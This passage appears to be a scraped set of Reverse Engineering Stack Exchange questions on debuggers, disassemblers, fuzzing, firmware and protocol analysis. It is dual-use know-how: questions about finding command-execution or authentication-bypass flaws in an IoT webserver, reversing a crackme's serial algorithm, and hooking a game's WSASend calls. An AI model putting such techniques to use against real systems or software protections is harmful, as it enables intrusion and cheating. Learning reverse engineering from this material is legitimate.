+ +I built the source code, and I open it by x64dbg. And set hardware breakpoints. + + + +An exception occurs on IDIV instruction, and run the debuggee. It always stops on a instruction after next. + + + + + +I expected it to stop at 0x0000000140001056 address because it's where 4bytes away from RIP. But it isn't. + +I think there's something I don't know under the hood. Just out of curiosity, why does it work like that? If you have a chance, please let me know. thanks. :D + +

Additional Attachments

+ +When RIP is modified in handle_exception() + +new RIP of NtContinue()'s ThreadContext parameter is 0x0000000140001056. + + + +When RIP isn't modified in handle_exception() + +RIP of NtContinue()'s ThreadContext parameter is 0x0000000140001032. +(overall, addresses have been changed, because a sourc code has been changed too. That's IDIV instruction's address.) + + +" +['.net']," Title: I can't understand this algorithmBody: I'm trying to solve this challenge but I can't understand the algorithm. + +it takes the name and generate the serial with this algoritm + +
private int Encrypt(string Input)
+        {
+            int num = 0;
+            checked
+            {
+                int num2 = Input.Length - 1;
+                int num3 = num;
+                int num6;
+                for (;;)
+                {
+                    int num4 = num3;
+                    int num5 = num2;
+                    if (num4 > num5)
+                    {
+                        break;
+                    }
+                    char @string = Conversions.ToChar(Input.Substring(num3));
+                    num6 = (int)Math.Round(unchecked(Conversions.ToDouble(Conversion.Oct(Strings.Asc(Conversions.ToString(num6))) + Conversion.Oct(Strings.Asc(@string))) + 666.0));
+                    num3++;
+                }
+                return num6;
+            }
+        }
+
+ +for example, I entered 'A' and calculated serial as shown: +num6 = octal + octal + decimal + +‘A’ = 65 = 101 in octal + +666 = 1232 in octal + +num6 = 0 + +num6: +Octal = 0 + 101 + 1232 = 1333 + +Decimal = 731 + +but the output is : 60767 + +How? +" +"['dll', 'x64dbg', 'delphi']"," Title: Function Prologue, add esp directiveBody: I need to see how a DLL was written and I am using a x32dbg to do it at run-time. I am a newbie to this reversing stuff, so I am confused with this piece of code: +
push    ebp                          ; DllMain entry point
+mov     ebp, esp
+add     esp, FFFFFFBC
+xor     eax, eax
+mov     dword ptr ss:[ebp-44], eax
+mov     eax, module.8BC3980
+call    module.8BB8D54
+xor     eax, eax
+
+Wikipedia says the following about function prologues: +
+A function prologue typically does the following actions if the architecture has a base pointer (also known as frame pointer) and a stack pointer: +Pushes current base pointer onto the stack, so it can be restored later. +Assigns the value of stack pointer (which is pointed to the saved base pointer) to base pointer so that a new stack frame will be created on top of the old stack frame. +Moves the stack pointer further by decreasing or increasing its value, depending on whether the stack grows down or up. On x86, the stack pointer is decreased to make room for the function's local variables. +[...] +As an example, here′s a typical x86 assembly language function prologue as produced by the GCC +
push   ebp
+mov    ebp, esp
+sub    esp, N
+
+
+But I have encountered an add esp, N directive which adds a huge number to esp register. It seems something is wrong here, what should I understand from the code exactly? +And the second question is about mov dword ptr ss:[ebp-44], eax directive. Why it is 44 that is subtracted from ebp address (11 ints!) and what does the ss item here? +PS I suspect that the DLL is written in Delphi, but not 100% sure. +" +"['windows', 'linux', 'injection', 'fuzzing', 'heap']"," Title: Modern methods of fuzzing/locating heap bugs and potential vulnerabilitesBody: really glad I found this great learning resource. + +I was wondering, is there any way to fuzz or automate heap vulnerability assesment? I know a lot of practical frameworks for stack based fuzzing in its many variations, but when I read papers or cves, they note that they tried to find bugs by hand, making a program crash or avoid blue screen of death and debug it using windbg. But it is seems problematic to test for each function/vulnerability by hand, and it doesn't seem practical to go to the depth of each layer by hand. + +Is there any smarter approach or known methods to scan/fuzz to heap vulnerabilites? if it matters, i prefer windows based frameworks, but linux on its many varieties is okay too. + +Thank you very much for helping me and potentially a lot of other people as well who are interested on learning or expanding their vulnerability assessment skills. +" +['radare2']," Title: Start radare2 with pre-set visual mode configurationBody: This is the way I like to RE with radare visual mode. But I have to configure it everytime I start r2. How can I make it so r2 starts with this visual everytime I enter visual mode? +" +['fuzzing']," Title: Approach for fuzzing interactive CLIBody: I have an IoT system that has a command-line-based interactive shell that can be used to configure the system. While examining the disassembly/decompilation, I realized that there is a lot of functionality/code to the CLI and a lot of possible logical paths in the program. As such, I have not outright identified any memory corruption vulnerabilities, but I suspect that there may be edge cases that could result in a bug. This is where I would normally apply fuzzing to bolster my coverage. + +However, I am having trouble identifying an approach to creating a suitable input corpus to fuzz with. The CLI supports a number of commands, and some of them even spawn their own interactive CLI with many levels of namespaces. It may take several commands to reach certain parts of the program. + +I have two thoughts on how to go about this: + +
    +
  1. Create a comprehensive corpus, including a large number of commands and possible paths. Will be tedious to construct; impossible to cover everything.
  2. +
  3. No input corpus; use entirely feedback-driven fuzzing (if even possible in this case). Seems like this would be very inefficient, as there would be many paths for the fuzzer to learn.
  4. +
+ +I am able to run the binary through the fuzzer and I believe the fuzzer is passing input to it correctly, so that's not an issue. I was planning on using honggfuzz for this, but I don't think that really matters for the question. I don't have source code, so this will be black box and un-instrumented fuzzing. + +My question is, how should I approach creating an input corpus to fuzz a black-box program that has many possible inputs? +" +['radare2']," Title: Command ""f?flagname"" doesn't work as expected in radare2Body:
PS C:\_> r2 -v
+radare2 4.3.1 6 @ windows-x86-64 git.4.3.1
+commit: 54ac837b5503f10f91e2069ac357791f7a3e635a build: Fri 03/06/2020__15:52:24.93
+PS C:\_> r2 --
+ -- 99 bugs, take one down pass it around. 100 bugs...
+[0x00000000]> f myflag
+[0x00000000]> f*
+fs *
+f myflag 1 0x00000000
+[0x00000000]> f?myflag ;expect an output here
+[0x00000000]> f?~exists
+| f?flagname               check if flag exists or not, See ?? and ?!
+
+ +The command f?myflag doesn't print any output as if the flag doesn't exist. Why does it happen? + +As a bonus question :), what does See ?? and ?! mean? +" +"['c', 'static-analysis', 'python']"," Title: Python based static c analysis toolsBody: I want to analyze some open-source C code, and I'm looking for a static analysis python library for C, preferably open-source. Any ideas/suggestions, based on your experience? +" +"['ida', 'idapython', 'idc']"," Title: How to get the current offset use IDC or IDAPython?Body: When writing an IDA script, how to use IDC or IDAPython to get the file offset for a memory address? +" +"['linux', 'arm', 'static-analysis', 'ida-plugin', 'syscall']"," Title: Find all syscall in statically Arm BinaryBody: What is the easy and fast way to find all syscall in statically Arm binary ? + +Is there any Ida plugin that do that? +" +"['ida', 'radare2']"," Title: Reference address by name in Radare2/CutterBody: I have some experience with IDA and now I'm trying to use Radare2/Cutter the same way. I disassemble a DOS MZ file. I have the following: + +
;-- section.seg_000:
+12: entry0 ();
+0000:0000      push    ds          ; [00] -rwx section size 10784 named 
+seg_000
+0000:0001      xor     ax, ax
+;-- di:
+0000:0003      push    ax
+0000:0004      mov     ah, 0x30    ; '0'
+0000:0006      int     0x21
+0000:0008      mov     byte cs:[0x11], al
+665: fcn.0000000c ();
+0000:000c      cmp     al, 2
+0000:000e      jae     0x12
+0000:0010      retf
+0000:0011      .byte 0x00          ; RELOC 16 
+0000:0012      mov     ax, 0x2a2   ; RELOC 16 
+
+ +I want to label address 0x11 as DOSVersion and reference it by this name instead of the offset. In IDA (Turbo Assembler syntax), I can make it look like this: + +
proc    Main far
+    push    ds
+    xor     ax, ax
+    push    ax
+    mov     ah, DOS_FN_VERSION
+    int     DOS_INT
+    mov     [cs:DOSVersion], al
+    cmp     al, DOS_VERSION_2_0
+    jnb     short ProperDosVer
+    retf
+DOSVersion      db 0
+ProperDosVer:
+    mov     ax, DSEG
+
+ +How can I achieve the same result with Radare2/Cutter? +" +"['binary-analysis', 'file-format', 'hex', 'binary-editing']"," Title: Convert series of hex digits represented as ASCII-characters stored in a .txt file to raw bytesBody: I recently extracted a bunch of raw bytes (from wireshark) into a regular .txt file.
Because these raw bytes are stored in a text file, all those hex-digits are actually written as ASCII characters on the disk. + +Now, I want to interpret the ASCII encoded hex-digits as raw bytes, +because they actually represent a .jpeg image. + +I alredy tried to copy paste the digits into ghex, (I work on Ubuntu) but ghex only allows you to paste data into the interpreted area, not into the byte-manipulation area. + +Is there a simple way to do this? +" +"['tools', 'python', 'executable', 'decompile', 'byte-code']"," Title: Decompiling Python Files: ValueErrorBody: So I have this python file and I successfully unpacked its content inside of it we have our file.pyc +I appended the magic bytes to it so it went from: + +
E3 00 00 00 00 00 00 00 00 00 00 00 00
+
+ +to something that looked like this: + +
42 0D 0D 0A 00 00 00 00 00 00 00 00 E3 00
+
+ +The magic bytes seem to be correct however when I try to decompile using ""uncompyle6"" i get this: + +
<class 'ValueError'>; bad marshal data (unknown type code)
+
+ +To solve this I went and tried out ""decompyle3"" however it still returned the same error. + +
Extra Info:
+[*] Pyinstaller version: 2.1+
+[*] Python version: 37
+[*] Length of package: 21143183 bytes
+[*] Found 66 files in CArchive
+[*] Beginning extraction...please standby
+[+] Possible entry point: pyiboot01_bootstrap
+[+] Possible entry point: pyi_rth_certifi
+[+] Possible entry point: pyi_rth_multiprocessing
+[+] Possible entry point: pyi_rth_pkgres
+[+] Possible entry point: KitsuneSelfbot
+[*] Found 1013 files in PYZ archive
+
+ +Also Here is the first chunk of bytes from our file.pyc (unedited): + +
E3 00 00 00 00 00 00 00 00 00 00 00 00 25 00 00 00 40 00 00 00 73 7A 07 00 00 64 00 64 01 6C 00 5A 00 64 00 64 01 6C 01 5A 01 64 00 64 01 6C 02 5A 02 64 00 64 01 6C 03 5A 03 64 00 64 01 6C 04 5A 04 64 00 64 01 6C 05 5A 05 64 00 64 01 6C 06 5A 06 64 00 64 01 6C 07 5A 07 64 00 64 01 6C 08 5A 08 64 00 64 01 6C 09 5A 09 64 00 64 01 6C 0A 5A 0A 64 00 64 01 6C 0B 5A 0B 64 00 64 01 6C 0C 5A 0C 64 00 64 01 6C 0D 5A 0D 64 00 64 01 6C 0E 5A 0E 64 00 64 01 6C 02 5A 02 64 00 64 01 6C 03 5A 03 64 00 64 01 6C 01 5A 01 64 00 64 01 6C 0F 5A 0F 64 00
+
+ +And then from our future.pyc these are the first bytes + +
42 0D 0D 0A 00 00 00 00 00 00 00 00 E3 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 00 00 40 00 00 00 F3 D8 00 00 00 64 00 5A 00 64 01 64 02 64 03 64 04 64 05 64 06 64 07 64 08 64 09 64 0A 67 0A 5A 01 64 0B 67 01 65 01 17 00 5A 02 64 0C 5A 03 64 0D 5A 04 64 0E 5A 05 64 0F 5A 06 64 10 5A 07 64 11 5A 08 64 12 5A 09 64 13 5A 0A 64 14 5A 0B 64 15 5A 0C 47 00 64 16 64 17 84 00 64 17 83 02 5A 0D 65 0D 64 18 64 19 65 03 83 03 5A 0E 65 0D 64 1A 64 1B 65 04 83 03 5A 0F 65 0D 64 1C 64 1D 65 05 83 03 5A 10 65 0D 64 1E 64 1D 65 06 83 03
+
+ +I also tried unpacking future.pyc however it also returned this same error: + +
<class 'ValueError'>; bad marshal data (unknown type code)
+
+ +Any help at all would be appreciated :) +" +"['ida', 'mips', 'encodings']"," Title: The questions about li instructionBody: When reversing a MIPS binary using IDA Pro, I have 2 questions. +The source code is as follows. + +
int main(int argc, char* argv[])
+{
+    int m = 1;
+    int n = 5;
+    printf(""sum = %d\n"", m+n);
+}
+
+ +

+ +
.text:00080510  # int __cdecl main(int argc, const char **argv, const char **envp)
+
+.text:00080510  .globl main    
+.text:00080510  main:    
+.text:00080510      # __unwind {    
+.text:00080510 02 00 1C 3C 00 8B 9C 27  li      $gp, 0x18B00    
+.text:00080518 21 E0 99 03              addu    $gp, $t9    
+.text:0008051C 1C 80 84 8F              li      $a0, 0x80000    
+.text:00080520 44 80 99 8F              la      $t9, printf    
+.text:00080524 A4 08 84 24              addiu   $a0, (aSumD - 0x80000)  # ""sum = %d\n""    
+.text:00080528 08 00 20 03              jr      $t9 ; printf    
+.text:0008052C 06 00 05 24              li      $a1, 6    
+.text:0008052C                  # } // starts at 80510    
+.text:00080530
+
+ +
+ +(1) I know the li instruction at offset 0x0008051c is lw actually. And its encoding format is +1000 11ss ssst tttt iiii iiii iiii iiii. So I konw sssss = (111100)2 = 28 = $gp, ttttt = (00100)2 = 4 = $a0. +But I don't know how to calculate 0x80000. + +(2) The li instrution at offset 0x00080510 takes 8 bytes, but another li instruction at offset 0x0008051C takes 4 bytes? Is the first li instruction a pseudoinstruction? +" +"['ida', 'idapython']"," Title: Get input with IdaPythonBody: How can I get input from user with IdaPython? + +When I tried str = input() ,I got error RuntimeError: input(): lost.sys.stdin +" +"['ida', 'idapython']"," Title: Link to function with IdaPythonBody: In my IdaPython script I print function that I found. + +print(func_address) + +How can I do that if user click on this function (in output windows) Ida will jump to this function? +" +['ida']," Title: How can I find the real function that *(_DWORD *)v2 + 24) points to?Body: How can I find the real function that *(_DWORD *)v2 + 24) points to? +
(*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);
+
+int __fastcall sub_1(int a1, int a2)
+{
+  int v2; // r4@1
+  int v3; // r5@1
+  int v4; // r6@1
+  int v5; // r0@2
+  int v6; // r0@2
+  unsigned int v7; // r0@4
+  int v8; // r5@8
+
+  v2 = a2;
+  v3 = a1;
+  sub_2(a2);
+  v4 = *(_BYTE *)(sub_3(*(_DWORD *)(v3 + 1684)) + 13);
+  (*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);
+  if ( v4 )
+  {
+    (*(void (__fastcall **)(int, _DWORD))(*(_DWORD *)v2 + 56))(v2, *(_DWORD 
+
+" +['ollydbg']," Title: OllyDbg - change loaded file name - Fix error caused by renamed fileBody: There is a tool called LuteBot which is used in the game Mordhau to be able to make the player play midi files with the in game lute. + +In the tool you need to specify the location of the file DefaultInput.ini from the game. + +However, the tool does not work anymore since the game was updated and renamed the file ""DefaultInput.ini"" to ""Input.ini"". The tool still listens for the file ""DefaultInput.ini"" and if you try to add the location of ""Input.ini"" then you see an error message saying + +
+ Please select the file ""DefaultInput.ini +
+ + + +Is there a way to change the .exe to make it look for Input.ini instead of DefaultInput.ini? + +I only found the text ""DefaultInput"" two times, it looks like those are methods: + + + +
openDefaultInputiniToolStripMenuItem
+setDefaultInputiniLocationToolStripMenuItem
+
+ +I figured it out by doing this: + + +" +['radare2']," Title: Decompile in Radare for use in AVR studio, byte addressing vs word addressingBody: Hoping this has a simple answer... + +I'm trying to use Radare2 to generate assembly code that later can be compiled in Avr studio 7. What I notice is that Radare (running pD) generates assembly code that is byte addressed whereas Avr Studio works with word addressing. +Is there any simple way of instructing Radare2 to handle addressing using words rather than bytes? +Many thanks in advance! + +Regards, + Staffan +" +"['assembly', 'c', 'gdb']"," Title: Why is there no call to strcpy in assembly?Body: I try to better understand assembly and currently playing around with some compiled c snippets. +I have the following snippet: + +
#include <stdio.h>
+#include <string.h>
+
+int main() {
+    char b[] = "" a nice nice long string"";
+
+    char c[100];
+    strcpy(c, b);
+    printf(""Hello World %s\n"", c);
+    strcpy(c, "" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"");
+}
+
+ +After compiling it with gcc hello_world.c -o hello_world and opening it in gdb the assembly code of the main function looks like this: + +
   0x00000000000006fa <+0>:     push   rbp
+   0x00000000000006fb <+1>:     mov    rbp,rsp
+   0x00000000000006fe <+4>:     sub    rsp,0x90
+   0x0000000000000705 <+11>:    mov    rax,QWORD PTR fs:0x28
+   0x000000000000070e <+20>:    mov    QWORD PTR [rbp-0x8],rax
+   0x0000000000000712 <+24>:    xor    eax,eax
+   0x0000000000000714 <+26>:    movabs rax,0x206563696e206120
+   0x000000000000071e <+36>:    movabs rdx,0x6e6f6c206563696e
+   0x0000000000000728 <+46>:    mov    QWORD PTR [rbp-0x90],rax
+   0x000000000000072f <+53>:    mov    QWORD PTR [rbp-0x88],rdx
+   0x0000000000000736 <+60>:    movabs rax,0x676e697274732067
+   0x0000000000000740 <+70>:    mov    QWORD PTR [rbp-0x80],rax
+   0x0000000000000744 <+74>:    mov    BYTE PTR [rbp-0x78],0x0
+   0x0000000000000748 <+78>:    lea    rdx,[rbp-0x90]
+   0x000000000000074f <+85>:    lea    rax,[rbp-0x70]
+   0x0000000000000753 <+89>:    mov    rsi,rdx
+   0x0000000000000756 <+92>:    mov    rdi,rax
+   0x0000000000000759 <+95>:    call   0x5b0 <strcpy@plt>
+   0x000000000000075e <+100>:   lea    rax,[rbp-0x70]
+   0x0000000000000762 <+104>:   mov    rsi,rax
+   0x0000000000000765 <+107>:   lea    rdi,[rip+0xe8]        # 0x854
+   0x000000000000076c <+114>:   mov    eax,0x0
+   0x0000000000000771 <+119>:   call   0x5d0 <printf@plt>
+   0x0000000000000776 <+124>:   lea    rax,[rbp-0x70]
+   0x000000000000077a <+128>:   movabs rsi,0x4141414141414120
+   0x0000000000000784 <+138>:   movabs rdi,0x4141414141414141
+   0x000000000000078e <+148>:   mov    QWORD PTR [rax],rsi
+   0x0000000000000791 <+151>:   mov    QWORD PTR [rax+0x8],rdi
+   0x0000000000000795 <+155>:   movabs rdx,0x4141414141414141
+   0x000000000000079f <+165>:   movabs rcx,0x4141414141414141
+   0x00000000000007a9 <+175>:   mov    QWORD PTR [rax+0x10],rdx
+   0x00000000000007ad <+179>:   mov    QWORD PTR [rax+0x18],rcx
+   0x00000000000007b1 <+183>:   mov    BYTE PTR [rax+0x20],0x0
+   0x00000000000007b5 <+187>:   mov    eax,0x0
+   0x00000000000007ba <+192>:   mov    rcx,QWORD PTR [rbp-0x8]
+   0x00000000000007be <+196>:   xor    rcx,QWORD PTR fs:0x28
+   0x00000000000007c7 <+205>:   je     0x7ce <main+212>
+   0x00000000000007c9 <+207>:   call   0x5c0 <__stack_chk_fail@plt>
+   0x00000000000007ce <+212>:   leave
+   0x00000000000007cf <+213>:   ret
+
+ +I think i understand which part is doing what. +But some things are not clear to me. + +
    +
  1. strcpy is only called once and only when the second argument is a variable. Why is ther no call for the second strcopy?
  2. +
  3. printf is called with a string and a second arg. The string is loaded from rip+0xe8. Why is the string provided to the second strcopy not loaded in the same fashion? It is ""hardcoded"" with in the moveabs instructions.
  4. +
+ +Is this due to some compiler optimization? Can someone elaborate? +" +"['ghidra', 'stack-variables']"," Title: Ghidra interpreting stack pointers wronglyBody: Why is Ghidra interpreting this incorrectly? The example is very simple. + +In this stack: + +
0019FF58  $-8      0019FF58        00000002     LOCAL 2
+0019FF5C  $-4      0019FF5C        00000001     LOCAL 1
+0019FF60  $ ==>    0019FF60        0019FF80     OLD EBP
+0019FF64  $+4      0019FF64      | 00401025     return to layout.00401025 from layout.sub_40102C
+0019FF68  $+8      0019FF68      | 00000041     PARAM 3
+0019FF6C  $+C      0019FF6C      | 0000BABE     PARAM 2
+0019FF70  $+10     0019FF70      | 0000CAFE     PARAM 1
+
+ +Ghidra obtains: + +
undefined4        Stack[0x4]:4   param_1                                 XREF[1]:     00401040 (R)   
+undefined4        Stack[0x8]:4   param_2                                 XREF[1]:     00401043 (R)   
+undefined4        Stack[0xc]:4   param_3                                 XREF[1]:     00401046 (R)   
+undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     00401032 (W)   
+undefined4        Stack[-0xc]:4  local_c                                 XREF[1]:     00401039 (W)  
+00401032 C745FC01000000            MOV        dword ptr [EBP  + local_8 ],0x1
+00401039 C745F802000000            MOV        dword ptr [EBP  + local_c ],0x2
+00401040 8B5D08                    MOV        EBX ,dword ptr [EBP  + param_1 ]
+00401043 8B4D0C                    MOV        ECX ,dword ptr [EBP  + param_2 ]
+00401046 FF7510                    PUSH       dword ptr [EBP  + param_3 ]
+
+ +Whereas IDA correctly gets: + +
.text:0040102C var_8           = dword ptr -8
+.text:0040102C var_4           = dword ptr -4
+.text:0040102C arg_0           = dword ptr  8
+.text:0040102C arg_4           = dword ptr  0Ch
+.text:0040102C arg_8           = dword ptr  10h
+.text:00401032                 mov     [ebp+var_4], 1
+.text:00401039                 mov     [ebp+var_8], 2
+.text:00401040                 mov     ebx, [ebp+arg_0]
+.text:00401043                 mov     ecx, [ebp+arg_4]
+
+" +"['ghidra', 'debugging-symbols']"," Title: PowerPC executable doesn't show debugging symbols in GhidraBody: I have a PowerPC executable (Wipeout 2097 for Macintosh) that when opened in IDA will have all its function names resolved from debugging symbols in the executable right out of the box. + +In Ghidra however, it doesn't happen. + +Do you know if there is anything particular to do in Ghidra to fetch function names from debugging symbols ? +" +"['ida', 'arm', 'vulnerability-analysis', 'ida-plugin']"," Title: Find vulnerabilities in ARM IoT deviceBody: I have an ARM IoT device with a web interface, and I have the binary of this device open in Ida Pro. + +I looking for vulnerabilities in the webserver binary that can be exploited to run commands or bypass authentication. + +There is the manual way, looking for unsafe functions in the binary that are susceptible to buffer overflows, or looking in the webserver to find input that is passed to exec or other input that can download files from the system. + +I know this is the manual and slow way. + +Is there any tool or maybe Ida Pro plugin that helps to find a vulnerabilities in binaries/in web applications? +" +"['game-hacking', 'pe-resources']"," Title: Resource hacker and Resource tuner don't change taskbar and window iconsBody: I wanted to change a icon of a programs. I tried both Resource Tuner and Resource Hacker programs. When i opened the program there were multiple icons sizes, but when i tried to replace one icon, it generated multiple icons of a single ico file. After that, it looked like the exe icon has been changed, but only in the file manager, When i opened the programs, the icon on the window and taskbar was not changed. Why is this and how can i change it? +" +"['linux', 'binwalk']"," Title: Repacking an embedded initramfsBody: I'd like to modify some of the init scripts in an initramfs that is embedded in a kernel bzImage. I know I can modify them by not changing the size of any files (e.g. by commenting out lines, and deleting letters or adding comments if necessary to even things out.) + +Ideally, I'd like to DD out the xz file from the zImage. Decompress it. Modify the cpio, then recompress it, and DD back to the zImage. My hope is that by not changing the size of any files, this is going to work. Although I appreciate it may not be that easy. So any help with that would be much appreciated. + +In addition, I've run binwalk on the kernel image, and it looks like this: + +
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             Microsoft executable, portable (PE)
+16817         0x41B1          xz compressed data
+7297600       0x6F5A40        xz compressed data
+7299230       0x6F609E        Unix path: /x86/boot/compressed/kaslr_64.c!?
+7483729       0x723151        Certificate in DER format (x509 v3), header length: 4, sequence length: 762
+
+
+ +Now. I've also run Binwalk -e on the file, and it is able to successfully extract the xz archives, and decompress at least one of them (0x41B1) into a .cpio file, which I've verified contains the initramfs. But a couple issues I've run into don't make sense to me: + +
    +
  1. The ""xz"" file extracted by binwalk is 7468247 in size. Yet, if you subtract the offsets above between the two xz files you get 7280783. Why is there a difference?
  2. +
  3. When I try to run xz -d on the .xz file extracted by binwalk I get a message ""Compressed data is corrupt."" And if I do a hexdump of the XZ file extracted by binwalk it doesn't appear to have the magic bytes associated with an XZ file up top. So what is binwalk doing differently to properly extract the XZ file? And what exactly is binwalk extracting since it doesn't appear to be a valid XZ file (at least according to the XZ utility)?
  4. +
  5. When I run the xz_wrap script (included in the linux kernel) (or any other options of XZ that I have tried) on the extracted CPIO file by Binwalk--no matter what I do--I can't get an xz file to generate that is exactly the same as the original .xz file that binwalk extracted from the zImage. Can anyone explain this or what I can do to generate the exact same XZ archive?
  6. +
+ +I know with certainty the Kernel is using ""CONFIG_HAVE_KERNEL_XZ=y"" since I've been able to extract that much. Although I'll note that after I enabled some debugging in Binwalk, I can see it is using its lzma decompressor to decompress the XZ file extracted from the kernel image. + +Any suggestions here? I'm certainly not trying to reinvent the wheel. So if someone else has come up with a way to repack an initramfs into a x86 Kernel, I'd be interested in looking at that. I'm also open to any other suggestions here. +" +"['debugging', 'x64dbg', 'game-hacking', 'packet']"," Title: Reversing WSASend finding functions that called itBody: I'm trying to make my first DLL calling game functions + +What I need is tracing functions that call WSASend, so it will be easy for me to get all functions address to call them from my DLL. + +What I want is to call game functions, so if I can trace when WSASend is called, then return to the function that called it, I will be able to get all functions I need. + +My final goal is getting all functions addressess like SendWalk, ChangeLookDir, Attack, Follow, MoveItem, DropItem, etc... all of them are calling WSASend + +This is how the game module is calling the WSASend function: + + +This is what I get from logging calls to WSASend: + + + +The problem is that the game is sending packets all time, so if I put a breakpoint in that call it will pause everytime and I won't be able to make anything in game. + +After reading the WSASend documentation, I understand that maybe what I need is the buffer, so I can filter the parameter lpBuffers maybe setting a conditional breakpoint and hopefully the buffer will be the same in that packets that are sent every 1 sec (I'm not sure about what I'm saying) + +I'm a beginner so if I can improve in any way this question let me know, maybe I'm missing any detail that would help you to help me :) +" +"['linux', 'android']"," Title: Endoscope Camera YPC99 - how to stream on linuxBody: I'm trying to stream video from endoscope camera YPC99 on linux PC using the WiFi connection. From what I have found so far the camera is using IP 192.168.1.1. It supports RTSP protocol on port 7070 (the only one opened port). +The DESCRIBE reports that the stream should be JPEG video (RTP/AVP 26) + +
DESCRIBE rtsp://192.168.1.1:7070/webcam RTSP/1.0
+CSec: 2
+
+RTSP/1.0 200 OK
+Content-Base: rtsp://192.168.1.1:7070/webcam/
+Content-Type: application/sdp
+Content-Length: 122
+
+v=0
+o=- 1 1 IN IP4 127.0.0.1
+s=Test
+a=type:broadcast
+t=0 0
+c=IN IP4 0.0.0.0
+m=video 0 RTP/AVP 26
+a=control:track0
+
+ +VLC is showing black screen. ffmpeg also can't detect the correct codec to be used: + +
$ ffmpeg -i rtsp://192.168.1.1:7070/webcam  -vcodec copy /tmp/abc.mp4
+ffmpeg version n4.2.2 Copyright (c) 2000-2019 the FFmpeg developers
+  built with gcc 9.3.0 (Arch Linux 9.3.0-1)
+  configuration: --prefix=/usr --disable-debug --disable-static --disable-stripping --enable-fontconfig --enable-gmp --enable-gnutls --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfreetype --enable-libfribidi --enable-libgsm --enable-libiec61883 --enable-libjack --enable-libmfx --enable-libmodplug --enable-libmp3lame --enable-libopencore_amrnb --enable-libopencore_amrwb --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-nvdec --enable-nvenc --enable-omx --enable-shared --enable-version3
+  libavutil      56. 31.100 / 56. 31.100
+  libavcodec     58. 54.100 / 58. 54.100
+  libavformat    58. 29.100 / 58. 29.100
+  libavdevice    58.  8.100 / 58.  8.100
+  libavfilter     7. 57.100 /  7. 57.100
+  libswscale      5.  5.100 /  5.  5.100
+  libswresample   3.  5.100 /  3.  5.100
+  libpostproc    55.  5.100 / 55.  5.100
+[mjpeg @ 0x55ef344d0900] dqt: 0 quant value
+    Last message repeated 58 times
+[rtsp @ 0x55ef344ccfc0] decoding for stream 0 failed
+[rtsp @ 0x55ef344ccfc0] Could not find codec parameters for stream 0 (Video: mjpeg, none(bt470bg/unknown/unknown)): unspecified size
+Consider increasing the value for the 'analyzeduration' and 'probesize' options
+Input #0, rtsp, from 'rtsp://192.168.1.1:7070/webcam':
+  Metadata:
+    title           : Test
+  Duration: N/A, start: 0.000000, bitrate: N/A
+    Stream #0:0: Video: mjpeg, none(bt470bg/unknown/unknown), 90k tbr, 90k tbn, 90k tbc
+[mp4 @ 0x55ef344fcc40] dimensions not set
+Could not write header for output file #0 (incorrect codec parameters ?): Invalid argument
+Stream mapping:
+  Stream #0:0 -> #0:0 (copy)
+    Last message repeated 1 times
+
+ +I have a wireshark dump of some seconds of streaming (while was trying to play it with VLC). From what I have read each frame should start with FFD8 and should end with FFD9. There is no single package containing FFD8 but there are many containing FFD9, so I can't find out the beginning of the frame to see if some headers there could help me. + +There is andorid and iPhone apps to watch the stream from the camera. The app is called YCamera. I have downloaded the andorid app (https://apkpure.com/ycamera/cn.com.buildwin.YCamera) and have de-compile it. In the resources directory there are the following libs: + + + +It seems that libijkffmpeg.so is the one processing the stream (the string bt470bg is found only inside it). According my research (for this one I'm not sure if I'm looking where I should) it's part of ijkplayer player that should be based on ffmpeg but strangely ffmpeg can't recognize the stream. + +I know that my question is too open but any suggestions how can I keep progressing? + +The final goal is to be able to make this stream public. For this purpose it will be best if ffmpeg or vlc can recognize the stream. +" +"['debugging', 'x64dbg']"," Title: Tracing back the user code section that triggered a messageBody: I have a Windows GUI x86 executable and I have identified, in the .rsrc section, where the error string I want to trace is. Let's assume it is in id=83Ah. + +I have set a bpx user32:LoadStringA and then a break condition breakif([esp+8] == 83A). + +The BP fires correctly, when required. My problem now is how to identify which user code took the decision to load the string. For example, imagine this situation: + +
if(....) {
+   displayError()  <-- This will call LoadString at some point 
+}
+
+ +I am able to break on the LoadString, but when I RET, I get to a function that is used in many other code sections (such as AfxMessageBox). And I RET again and it is also a function that is used by many other code sections (like a Windows dispatcher)... and so on and so forth until I get lost without knowing where the user code that triggered the message is. I avoid system DLLs, but the portions of user code I land in look very generic and shared by other GUI components. + +This is for example the Call Stack of my program: + +
Address  To       From     Size     Comment            Party 
+0019EF84 0041FA5E 76AC8BA0 58       user32.76AC8BA0    User
+0019EFDC 004037C1 0041FA5E 24       s3.sub_41FA42+1C   User
+0019F000 0041EE3D 004037C1 30       s3.sub_4037B0+11   User
+0019F030 0041DCE0 0041EE3D 24       s3.0041EE3D        User
+0019F054 00421883 0041DCE0 50       s3.sub_41DCC5+1B   User
+0019F0A4 004210A3 00421883 A8       s3.sub_421820+63   User
+0019F14C 00421050 004210A3 24       s3.sub_421073+30   User
+0019F170 0041FDB9 00421050 6C       s3.sub_42102A+26   User
+0019F1DC 004200BE 0041FDB9 1C       s3.sub_41FD36+83   User
+0019F1F8 76AE5CAB 004200BE 2C       s3.sub_4200A4+1A   System
+0019F224 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System
+0019F308 76AD5F6D 76AD67BC 64       user32.76AD67BC    System
+0019F36C 76AD5C33 76AD5F6D 34       user32.76AD5F6D    System
+0019F3A0 76B008E2 76AD5C33 24       user32.76AD5C33    System
+0019F3C4 76B005DF 76B008E2 28       user32.76B008E2    System
+0019F3EC 76AFFAE8 76B005DF A0       user32.76B005DF    System
+0019F48C 76AFEF92 76AFFAE8 2C       user32.76AFFAE8    System
+0019F4B8 76AE5CAB 76AFEF92 2C       user32.76AFEF92    System
